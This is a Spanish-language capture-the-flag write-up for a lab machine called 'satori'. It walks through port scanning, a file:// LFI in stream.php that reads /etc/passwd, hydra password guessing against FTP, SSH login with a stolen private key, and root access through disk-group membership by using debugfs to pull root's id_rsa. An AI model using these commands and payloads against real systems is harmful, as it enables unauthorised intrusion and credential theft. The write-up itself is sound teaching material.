Enumeración
Comenzamos con un escaneo general y específico de puertos con nmap:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.101
❯ nmap -sC -sV -p21,22,80 -oN 02-targeted.txt 192.168.1.101
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-15 14:06 -03
Nmap scan report for 192.168.1.101
Host is up (0.00034s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.1.10
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxrwxrwx 1 0 0 10296404 Mar 03 2021 satori.mkv [NSE: writeable]
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 fd:07:48:a4:a2:91:7d:bf:e8:2c:2d:39:7d:21:fe:8a (RSA)
| 256 d5:f1:45:5d:d4:3e:2e:63:25:e3:0e:d0:21:0d:23:15 (ECDSA)
|_ 256 e8:78:20:63:0d:23:2f:83:42:8f:14:68:c1:24:32:e4 (ED25519)
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: youtube-downloader
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.75 secondsEl FTP permite login anónimo y expone un satori.mkv. La web del puerto 80 es un "youtube-downloader".
Web y LFI
Enumeramos directorios con gobuster, que confirma el stream.php referenciado en la página:
❯ gobuster dir -u 192.168.1.101 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
/index.html (Status: 200) [Size: 1739]
/stream.php (Status: 200) [Size: 15]Al analizar el código fuente de la página, encontramos cómo se construye la ruta de descarga:
var stream_url = 'stream.php?url=' + encodeURIComponent(first)Probamos LFI directamente, pero la ruta sin wrapper no devuelve nada útil:
http://192.168.1.101/stream.php?url=//etc/passwdEl parámetro url sí es vulnerable si lo forzamos a usar el wrapper file://, que indica explícitamente que se lea un archivo del sistema:
http://192.168.1.101/stream.php?url=file:///etc/passwdTenemos éxito y, de /etc/passwd, obtenemos el usuario yana.
FTP Password Guessing y acceso SSH
SSH no permite el inicio de sesión por contraseña, por lo que dirigimos el Password Guessing contra el FTP, donde el servidor sí permite validar las credenciales de yana:
❯ hydra -l yana -P ~/Documentos/wordlists/rockyou.txt 192.168.1.101 ftp -t 64
...
[21][ftp] host: 192.168.1.101 login: yana password: truelove
...Nos conectamos por FTP, obtenemos la id_rsa de yana y con ella establecemos la conexión SSH que nos entrega la primera flag:
❯ ssh yana@192.168.1.101 -i id_rsaPrivilege Escalation mediante el grupo disk
Para apoyar la enumeración levantamos un servidor HTTP en nuestra máquina y descargamos linpeas en la víctima:
❯ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.1.101 - - [18/Feb/2024 01:09:45] "GET /linpeas.sh HTTP/1.1" 200 -
yana@satori:/tmp$ wget http://192.168.1.10:8000/linpeas.shlinpeas revela que yana pertenece al grupo disk (Privileged Groups Privesc):
yana@satori:/tmp$ cat /etc/group | grep disk
disk:x:6:yanaPertenecer al grupo disk da acceso de bajo nivel a los dispositivos de bloque, lo que en la práctica equivale a lectura como root sobre todo el sistema de archivos. Primero averiguamos dónde está montada la raíz:
yana@satori:/tmp$ df -h
...
/dev/sda1 11G 2.9G 7.4G 28% /
...Usaremos debugfs para navegar el dispositivo /dev/sda1 y leer la id_rsa de root. El binario no está en el PATH, así que primero lo localizamos:
yana@satori:/tmp$ find / -name debugfs 2>/dev/null
/usr/sbin/debugfsY lo lanzamos contra el dispositivo para listar y extraer la clave del directorio de root:
yana@satori:/tmp$ /usr/sbin/debugfs /dev/sda1
debugfs 1.44.5 (15-Dec-2018)
debugfs: cd /root
debugfs: ls -lCon la id_rsa de root extraída nos conectamos por SSH, obtenemos la segunda flag y terminamos.
Fin.